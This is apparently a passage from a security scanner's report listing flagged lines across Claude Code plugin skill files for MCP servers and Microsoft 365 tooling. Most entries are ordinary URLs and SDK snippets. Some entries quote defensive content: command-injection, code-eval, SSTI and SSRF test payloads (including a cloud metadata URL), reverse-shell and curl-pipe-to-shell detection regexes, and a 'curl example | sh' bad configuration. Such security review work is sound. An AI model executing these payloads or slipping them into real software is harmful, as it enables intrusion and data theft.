    - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix
  • Network accessline 222
    ### SDK Documentation (Load During Phase 1/2) - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 223
    - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 224
    - **TypeScript SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`

harness/claude-code/plugins/mcp-development/skills/mcp-builder/reference/evaluation.md

  • Access to secretsline 398
    [Credential-related source omitted]
  • Access to secretsline 440
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Network accessline 454
    python scripts/evaluation.py \   -t sse \   -u https://example.com/mcp \
  • Network accessline 455
    [Credential-related source omitted]
  • Network accessline 456
    -u https://example.com/mcp \
  • Network accessline 467
    python scripts/evaluation.py \   -t http \   -u https://example.com/mcp \
  • Network accessline 468
    [Credential-related source omitted]
  • Network accessline 469
    -u https://example.com/mcp \
  • Access to secretsline 557
    [Credential-related source omitted]

harness/claude-code/plugins/mcp-development/skills/mcp-builder/reference/node_mcp_server.md

  • Dangerous shell operationline 541
    "clean": "rm -rf dist"
  • Network accessline 600
    // Constants const API_BASE_URL = "https://api.example.com/v1";
  • Network accessline 601
    const API_BASE_URL = "https://api.example.com/v1";
  • Access to secretsline 707
    [Credential-related source omitted]
  • Access to secretsline 708
    [Credential-related source omitted]
  • Access to secretsline 719
    [Credential-related source omitted]
  • Access to secretsline 720
    [Credential-related source omitted]
  • Network accessline 737
    const port = parseInt(process.env.PORT || '3000');   app.listen(port, () => {     console.error(`MCP server running on http://localhost:${port}/mcp`);
  • Network accessline 738
    app.listen(port, () => {     console.error(`MCP server running on http://localhost:${port}/mcp`);   });
  • Network accessline 739
    console.error(`MCP server running on http://localhost:${port}/mcp`);

harness/claude-code/plugins/mcp-development/skills/mcp-builder/reference/python_mcp_server.md

  • Network accessline 42
    **For complete SDK documentation, use WebFetch to load:** `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 43
    `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 233
    async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict:     '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:
  • Network accessline 234
    '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:         response = await client.request(
  • Network accessline 235
    async with httpx.AsyncClient() as client:
  • Network accessline 251
    # Good: Async network request async def fetch_data(resource_id: str) -> dict:     async with httpx.AsyncClient() as client:
  • Network accessline 252
    async def fetch_data(resource_id: str) -> dict:     async with httpx.AsyncClient() as client:         response = await client.get(f"{API_URL}/resource/{resource_id}")
  • Network accessline 253
    async with httpx.AsyncClient() as client:
  • Network accessline 258
    # Bad: Synchronous request def fetch_data(resource_id: str) -> dict:     response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks
  • Network accessline 259
    def fetch_data(resource_id: str) -> dict:     response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks     return response.json()
  • Network accessline 260
    response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks
  • Network accessline 352
    # Constants API_BASE_URL = "https://api.example.com/v1"
  • Network accessline 353
    API_BASE_URL = "https://api.example.com/v1"
  • Network accessline 382
    async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict:     '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:
  • Network accessline 383
    '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:         response = await client.request(
  • Network accessline 384
    async with httpx.AsyncClient() as client:
  • Access to secretsline 511
    [Credential-related source omitted]
  • Access to secretsline 517
    [Credential-related source omitted]

harness/claude-code/plugins/mcp-development/skills/mcp-builder/scripts/connections.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/mcp-development/skills/mcp-builder/scripts/evaluation.py

  • Executable scriptline 1
    Executable file
  • Network accessline 315
    [Credential-related source omitted]
  • Network accessline 318
    python evaluation.py -t http -u https://example.com/mcp -m claude-3-5-sonnet-20241022 eval.xml

harness/claude-code/plugins/mcp-development/skills/mcp-implementation-security-review/SKILL.md

  • Network accessline 109
    | Vector | Dangerous code | Safe alternative | Test payload | CWE | | --- | --- | --- | --- | --- | | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `e
  • Network accessline 110
    | --- | --- | --- | --- | --- | | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", us
  • Dangerous shell operationline 111
    | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm
  • Network accessline 111
    | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm
  • Dangerous shell operationline 112
    | Dynamic code evaluation | `eval(args.expression)`, `exec(tool_output)`, `new Function(args.code)()` | Sandboxed parser, AST-based evaluation, or predefined allowlist. | `__import__('os').system('whoami')`, `require('child_process').exec('
  • Network accessline 115
    | SSTI | `Template(user_input).render()`, `Handlebars.compile(args.template)({data})` | Never use user input as template source; use predefined templates with parameters only. | `{{7*7}}`, `${7*7}`, `<%= 7*7 %>` must not render `49`. | CWE-
  • Network accessline 117
    | SSRF | `requests.get(user_param)`, `fetch(user_input)`, `HttpClient.GetAsync(user_input)` | Allowlist schemes/domains, block RFC1918 and link-local targets, validate URLs before sending. | `http://169.254.169.254/latest/meta-data/`, `http
  • Network accessline 200
    - [MCP specification 2025-03-26](https://modelcontextprotocol.io/specification/2025-03-26)
  • Network accessline 201
    - [MCP specification 2025-11-25](https://modelcontextprotocol.io/specification/2025-11-25)

harness/claude-code/plugins/mcp-development/skills/mcp-security-audit/SKILL.md

  • Network accessline 72
    (r'(?i)bash\s+-c\s', "bash -c execution"),     (r'(?i)sh\s+-c\s', "sh -c execution"),     (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"),
  • Network accessline 73
    (r'(?i)sh\s+-c\s', "sh -c execution"),     (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"),     (r'curl\s+.*\|\s*(ba)?sh', "curl pipe to shell"),
  • Dangerous shell operationline 74
    (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"),
  • Network accessline 74
    (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"),
  • Network accessline 75
    (r'curl\s+.*\|\s*(ba)?sh', "curl pipe to shell"),
  • Access to secretsline 79
    [Credential-related source omitted]
  • Access to secretsline 88
    [Credential-related source omitted]
  • Network accessline 154
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Dangerous shell operationline 156
    | `"command": "node", "args": ["server.js"]` | `"command": "bash", "args": ["-c", "curl example | sh"]` |
  • Network accessline 156
    | `"command": "node", "args": ["server.js"]` | `"command": "bash", "args": ["-c", "curl example | sh"]` |
  • Access to secretsline 182
    [Credential-related source omitted]
  • Network accessline 190
    - [MCP Specification](https://modelcontextprotocol.io/)
  • Network accessline 191
    - [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 192
    - [OWASP ASI-02: Insecure Tool Use](https://genai.owasp.org/)

harness/claude-code/plugins/mcp-development/skills/webmcpify/SKILL.md

  • Network accessline 9
    license: MIT metadata:   source: "https://github.com/TueJon/webmcpify"
  • Network accessline 10
    metadata:   source: "https://github.com/TueJon/webmcpify" ---
  • Network accessline 11
    source: "https://github.com/TueJon/webmcpify"
  • Network accessline 41
    - WebMCP is an evolving origin-trial API from the W3C Web Machine Learning Community Group: https://webmachinelearning.github.io/webmcp/
  • Network accessline 85
    "typescript": true,     "entry": "src/main.tsx",     "baseUrl": "http://localhost:5173",
  • Network accessline 86
    "entry": "src/main.tsx",     "baseUrl": "http://localhost:5173",     "startCommand": "npm run dev",
  • Network accessline 87
    "baseUrl": "http://localhost:5173",
  • Access to secretsline 104
    [Credential-related source omitted]
  • Access to secretsline 199
    [Credential-related source omitted]
  • Network accessline 208
    - [WebMCP draft](https://webmachinelearning.github.io/webmcp/)
  • Network accessline 209
    - [webmcpify source](https://github.com/TueJon/webmcpify)

harness/claude-code/plugins/mcp-development/skills/webmcpify/references/heal.md

  • Network accessline 51
    if (process.env.WEBMCP_LIVE_MUTATIONS === '1') {   await page.route('**/api/contact', async (route) => {     const response = await context.request.fetch(route.request(), {
  • Network accessline 52
    await page.route('**/api/contact', async (route) => {     const response = await context.request.fetch(route.request(), {       headers: { ...route.request().headers(), origin: 'https://example.com' }, // the prod Origin
  • Network accessline 53
    const response = await context.request.fetch(route.request(), {
  • Network accessline 54
    headers: { ...route.request().headers(), origin: 'https://example.com' }, // the prod Origin

harness/claude-code/plugins/mcp-development/skills/webmcpify/references/inventory.md

  • Instruction override signalline 45
    *Initiation tools only navigate/open the flow — the human completes it. They are classified non-mutating (no data changes) **but must NOT carry `readOnlyHint`**: they change UI state, and agents skip confirmations for hinted-read-only tools
  • Instruction override signalline 46
    classified non-mutating (no data changes) **but must NOT carry `readOnlyHint`**: they change UI state, and agents skip confirmations for hinted-read-only tools. `readOnlyHint: true` is reserved for genuinely pure data reads.
  • Instruction override signalline 47
    they change UI state, and agents skip confirmations for hinted-read-only tools.

harness/claude-code/plugins/mcp-development/skills/webmcpify/references/runtime.md

  • Network accessline 27
    | `isWebMCPAvailable()` | Feature detection — the app must work identically without WebMCP | | `createToolScope(key, tools, options?)` | Registers a tool set under one AbortController; returns a **callable dispose handle** carrying `ready: 
  • Network accessline 28
    | `createToolScope(key, tools, options?)` | Registers a tool set under one AbortController; returns a **callable dispose handle** carrying `ready: Promise<boolean>` (true = all registrations committed; false = no WebMCP / duplicate key / fa
  • Network accessline 29
    | `dispatchAndWait(event, detail?, timeoutMs?)` | Bridges `execute()` to the app's own event/state flow. The dispatched detail carries `requestId` plus `signal` — an AbortSignal aborted on timeout; pass it to `fetch()` and skip state commit

harness/claude-code/plugins/mcp-development/skills/webmcpify/references/security.md

  • Instruction override signalline 48
    consent decisions from it). - [ ] `readOnlyHint: true` ONLY on genuinely pure data reads (agents skip       confirmation based on it; mislabeling is the worst single mistake).
  • Instruction override signalline 49
    - [ ] `readOnlyHint: true` ONLY on genuinely pure data reads (agents skip       confirmation based on it; mislabeling is the worst single mistake). - [ ] `untrustedContentHint: true` on every tool returning user-generated or

harness/claude-code/plugins/mcp-development/skills/webmcpify/references/verify.md

  • Network accessline 100
    }); EOF WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \
  • Network accessline 101
    EOF WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \ NODE_PATH=/tmp/webmcpify-harness/node_modules npx playwright test
  • Network accessline 102
    WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \
  • Network accessline 112
    **Alternative:** Puppeteer ships a first-class experimental WebMCP API (https://pptr.dev/guides/webmcp) — prefer it when the target repo already uses
  • Network accessline 113
    (https://pptr.dev/guides/webmcp) — prefer it when the target repo already uses

harness/claude-code/plugins/mcp-development/skills/webmcpify/templates/webmcp-jsx.d.ts

  • Network accessline 1
    /**  * React JSX typings for the declarative WebMCP attributes — vendored from  * https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * React JSX typings for the declarative WebMCP attributes — vendored from  * https://github.com/TueJon/webmcpify  *
  • Network accessline 3
    * https://github.com/TueJon/webmcpify
  • Network accessline 25
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 26
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 27
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE

harness/claude-code/plugins/mcp-development/skills/webmcpify/templates/webmcp.d.ts

  • Network accessline 1
    /**  * Ambient types for the WebMCP API — vendored from https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * Ambient types for the WebMCP API — vendored from https://github.com/TueJon/webmcpify
  • Network accessline 24
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 25
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 26
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 27
    *  * registerTool/ontoolchange/annotations/getTools follow the CG draft  * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only
  • Network accessline 28
    * registerTool/ontoolchange/annotations/getTools follow the CG draft  * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only  * extension not yet in the draft. This API is in flux — re-check against the
  • Network accessline 29
    * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only
  • Network accessline 30
    * extension not yet in the draft. This API is in flux — re-check against the  * draft and https://developer.chrome.com/docs/ai/webmcp when updating.  *
  • Network accessline 31
    * draft and https://developer.chrome.com/docs/ai/webmcp when updating.

harness/claude-code/plugins/mcp-development/skills/webmcpify/templates/webmcp.spec.ts

  • Network accessline 1
    /**  * webmcpify verification template — vendored from https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * webmcpify verification template — vendored from https://github.com/TueJon/webmcpify
  • Network accessline 24
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 25
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 26
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 42
    const BASE_URL = process.env.WEBMCP_BASE_URL ?? 'http://localhost:5173';

harness/claude-code/plugins/mcp-development/skills/webmcpify/templates/webmcpify.js

  • Network accessline 1
    /**  * webmcpify runtime (JavaScript variant) — vendored from https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * webmcpify runtime (JavaScript variant) — vendored from https://github.com/TueJon/webmcpify
  • Network accessline 24
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 25
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 26
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 139
    * Bridge execute() to the app's own event/state flow. The dispatched detail  * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted  * on timeout; handlers should pass it to fetch() and skip state commits and the
  • Network accessline 140
    * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted  * on timeout; handlers should pass it to fetch() and skip state commits and the  * completion dispatch once aborted. Resolves only after the component confir
  • Network accessline 141
    * on timeout; handlers should pass it to fetch() and skip state commits and the

harness/claude-code/plugins/mcp-development/skills/webmcpify/templates/webmcpify.ts

  • Network accessline 1
    /**  * webmcpify runtime — vendored from https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * webmcpify runtime — vendored from https://github.com/TueJon/webmcpify
  • Network accessline 24
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 25
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 26
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 165
    * Bridge execute() to the app's own event/state flow. The dispatched detail  * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted  * on timeout; handlers should pass it to fetch() and skip state commits and the
  • Network accessline 166
    * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted  * on timeout; handlers should pass it to fetch() and skip state commits and the  * completion dispatch once aborted. Resolves only after the component confir
  • Network accessline 167
    * on timeout; handlers should pass it to fetch() and skip state commits and the

harness/claude-code/plugins/mcp-m365-copilot/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/mcp-m365-copilot/skills/mcp-create-adaptive-cards/SKILL.md

  • Network accessline 132
    {   "type": "AdaptiveCard",   "$schema": "https://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 133
    "type": "AdaptiveCard",   "$schema": "https://adaptivecards.io/schemas/adaptive-card.json",   "version": "1.5",
  • Network accessline 134
    "$schema": "https://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 167
    - [Adaptive Card Designer](https://adaptivecards.microsoft.com/designer)
  • Network accessline 168
    - [Adaptive Card Schema](https://adaptivecards.io/schemas/adaptive-card.json)
  • Network accessline 169
    - [Template Language](https://learn.microsoft.com/en-us/adaptive-cards/templating/language)
  • Network accessline 170
    - [JSONPath](https://www.rfc-editor.org/rfc/rfc9535)

harness/claude-code/plugins/mcp-m365-copilot/skills/mcp-create-adaptive-cards/references/card-reference-examples.md

  • Network accessline 25
    "static_template": {             "type": "AdaptiveCard",             "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 26
    "type": "AdaptiveCard",             "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",             "version": "1.5",
  • Network accessline 27
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 125
    }       ],       "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"
  • Network accessline 126
    ],       "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"     },
  • Network accessline 127
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"
  • Network accessline 156
    }       ],       "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"
  • Network accessline 157
    ],       "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"     }
  • Network accessline 158
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"
  • Network accessline 221
    {   "type": "Image",   "url": "https://example.com/image.png",
  • Network accessline 222
    "type": "Image",   "url": "https://example.com/image.png",   "size": "medium",  // auto, stretch, small, medium, large
  • Network accessline 223
    "url": "https://example.com/image.png",
  • Network accessline 265
    "type": "Action.OpenUrl",   "title": "View Details",   "url": "https://example.com/item/${id}"
  • Network accessline 266
    "title": "View Details",   "url": "https://example.com/item/${id}" }
  • Network accessline 267
    "url": "https://example.com/item/${id}"
  • Network accessline 288
    "static_template": {             "type": "AdaptiveCard",             "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 289
    "type": "AdaptiveCard",             "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",             "version": "1.5",
  • Network accessline 290
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",

harness/claude-code/plugins/mcp-m365-copilot/skills/mcp-create-declarative-agent/SKILL.md

  • Network accessline 26
    - Use Microsoft 365 Agents Toolkit project conventions and generated `appPackage/` files. - The MCP server must expose server metadata, a tools listing endpoint, and tool execution endpoint. - Test the finished agent in Microsoft 365 Copilo
  • Network accessline 27
    - The MCP server must expose server metadata, a tools listing endpoint, and tool execution endpoint. - Test the finished agent in Microsoft 365 Copilot at `https://m365.cloud.microsoft/chat`. - Store secrets in `.env.local` or `.env.dev`; n
  • Network accessline 28
    - Test the finished agent in Microsoft 365 Copilot at `https://m365.cloud.microsoft/chat`.
  • Access to secretsline 29
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Network accessline 54
    {"$schema":"https://developer.microsoft.com/json-schemas/teams/vDevPreview/MicrosoftTeams.schema.json","manifestVersion":"devPreview","version":"1.0.0","id":"...","developer":{"name":"...","websiteUrl":"...","privacyUrl":"...","termsOfUseUr
  • Network accessline 60
    {"$schema":"https://aka.ms/json-schemas/copilot/declarative-agent/v1.0/schema.json","version":"v1.0","name":"Agent Name","description":"Agent description","instructions":"You are an assistant that helps with [specific domain]. Use the avail
  • Network accessline 66
    {"schema_version":"v2.1","name_for_human":"Service Name","description_for_human":"Description for users","description_for_model":"Description for AI model","contact_email":"support@company.com","namespace":"serviceName","capabilities":{"con
  • Network accessline 72
    {"serverUrl":"https://{api-host}/mcp/","pluginFilePath":"appPackage/ai-plugin.json"}
  • Network accessline 90
    | Need | Configuration | | --- | --- | | OAuth 2.0 static registration | Use `"type": "OAuthPluginVault"`, `"reference_id": "${{OAUTH_REFERENCE_ID}}"`, `"authorization_url": "https://{auth-host}/authorize"`, `"client_id": "${{CLIENT_ID}}"`,
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 92
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Network accessline 99
    | Server | URL | Tools | Auth | | --- | --- | --- | --- | | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 |
  • Network accessline 100
    | --- | --- | --- | --- | | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 | | Jira MCP Server | `https://your-domain.atlassian.net/mcp/` | `search_issues`, `cr
  • Network accessline 101
    | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 |
  • Network accessline 102
    | Jira MCP Server | `https://your-domain.atlassian.net/mcp/` | `search_issues`, `create_issue`, `update_issue` | OAuth 2.0 |
  • Network accessline 103
    | Custom Service | `https://{api-host}/mcp/` | Custom tools exposed by your service | OAuth 2.0 or SSO |
  • Network accessline 145
    - Provisioning: pass | not run | blocked - Local debug/sideload: pass | not run | blocked - Microsoft 365 Copilot test at `https://m365.cloud.microsoft/chat`: pass | not run | blocked
  • Network accessline 147
    - Microsoft 365 Copilot test at `https://m365.cloud.microsoft/chat`: pass | not run | blocked
  • Access to secretsline 156
    [Credential-related source omitted]
  • Network accessline 162
    - [Microsoft Teams manifest schema](https://developer.microsoft.com/json-schemas/teams/vDevPreview/MicrosoftTeams.schema.json)
  • Network accessline 163
    - [Declarative agent schema](https://aka.ms/json-schemas/copilot/declarative-agent/v1.0/schema.json)
  • Network accessline 164
    - [Microsoft 365 Copilot chat](https://m365.cloud.microsoft/chat)

harness/claude-code/plugins/mcp-m365-copilot/skills/mcp-deploy-manage-agents/SKILL.md

  • Network accessline 26
    - Access the Microsoft 365 admin center at https://admin.microsoft.com/ for tenant agent registry, availability, deployment, blocking, and assignment.
  • Network accessline 27
    - Use the Power Platform admin center at https://admin.powerplatform.microsoft.com/ when the agent is an App Builder agent, Workflows agent, agent studio agent, or flow-backed agent.
  • Network accessline 28
    - Use Partner Center at https://learn.microsoft.com/en-us/partner-center/ only for public Agent Store submission and validation.
  • Network accessline 140
    - [Microsoft 365 admin center](https://admin.microsoft.com/)
  • Network accessline 141
    - [Power Platform admin center](https://admin.powerplatform.microsoft.com/)
  • Network accessline 142
    - [Partner Center for agent submissions](https://learn.microsoft.com/en-us/partner-center/)
  • Network accessline 143
    - [Microsoft Agent 365 Overview](https://learn.microsoft.com/en-us/microsoft-agent-365/overview)
  • Network accessline 144
    - [Agent Registry Documentation](https://learn.microsoft.com/en-us/microsoft-365/admin/manage/agent-registry)

harness/claude-code/plugins/microsoft-365-data-platform/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/microsoft-365-data-platform/skills/msgraph-sdk/SKILL.md

  • Network accessline 76
    | Resource data notifications | High-volume scenarios need changed resource payloads. | Requires additional encryption setup. | | Retry middleware | Production workloads may hit 429. | Enable SDK retry middleware or implement exact `Retry-A
  • Network accessline 78
    | Least privilege | Avoid broad permissions. | Use https://learn.microsoft.com/graph/permissions-reference and admin consent only when required. |
  • Network accessline 153
    - [Microsoft Graph overview](https://learn.microsoft.com/graph/overview)
  • Network accessline 154
    - [Graph Explorer](https://developer.microsoft.com/graph/graph-explorer)
  • Network accessline 155
    - [Graph permissions reference](https://learn.microsoft.com/graph/permissions-reference)

harness/claude-code/plugins/microsoft-365-data-platform/skills/msgraph-sdk/references/dotnet.md

  • Network accessline 7
    - SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-dotnet>
  • Network accessline 8
    - Samples: <https://github.com/microsoftgraph/msgraph-training-dotnet>
  • Network accessline 9
    - SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-dotnet/blob/main/CHANGELOG.md>
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 59
    [Credential-related source omitted]

harness/claude-code/plugins/microsoft-365-data-platform/skills/msgraph-sdk/references/python.md

  • Network accessline 7
    - SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-python>
  • Network accessline 8
    - Samples: <https://github.com/microsoftgraph/msgraph-training-python>
  • Network accessline 9
    - SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-python/blob/main/CHANGELOG.md>
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 48
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Network accessline 210
    [Credential-related source omitted]
  • Network accessline 211
    [Credential-related source omitted]
  • Network accessline 212
    async with httpx.AsyncClient() as client:
  • Network accessline 213
    [Credential-related source omitted]
  • Network accessline 214
    "https://graph.microsoft.com/v1.0/$batch",

harness/claude-code/plugins/microsoft-365-data-platform/skills/msgraph-sdk/references/typescript.md

  • Network accessline 7
    - SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-javascript>
  • Network accessline 8
    - Samples: <https://github.com/microsoftgraph/msgraph-training-typescript>
  • Network accessline 9
    - SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-javascript/blob/main/CHANGELOG.md>
  • Network accessline 33
    const credential = new DefaultAzureCredential(); const authProvider = new TokenCredentialAuthenticationProvider(credential, {   scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Network accessline 34
    const authProvider = new TokenCredentialAuthenticationProvider(credential, {   scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], });
  • Network accessline 35
    scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Access to secretsline 49
    [Credential-related source omitted]
  • Network accessline 52
    const authProvider = new TokenCredentialAuthenticationProvider(credential, {   scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Network accessline 53
    scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Access to secretsline 68
    [Credential-related source omitted]
  • Network accessline 72
    const authProvider = new TokenCredentialAuthenticationProvider(credential, {   scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Network accessline 73
    scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Network accessline 88
    // Opens a browser tab — requires redirect URI http://localhost in app registration

harness/claude-code/plugins/napkin/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/napkin/skills/napkin/assets/step1-activate.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="460" viewBox="0 0 800 460">

harness/claude-code/plugins/napkin/skills/napkin/assets/step2-whiteboard.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">

harness/claude-code/plugins/napkin/skills/napkin/assets/step3-draw.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">

harness/claude-code/plugins/napkin/skills/napkin/assets/step4-share.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">

harness/claude-code/plugins/napkin/skills/napkin/assets/step5-response.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">

harness/claude-code/plugins/noob-mode/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/noob-mode/skills/noob-mode/references/examples.md

  • Dangerous shell operationline 92
    Allow tool: bash with command "rm -rf node_modules && npm install"?
  • Network accessline 146
    Allow tool: WebFetch on URL "https://api.github.com/repos/github/docs/issues"?
  • Dangerous shell operationline 336
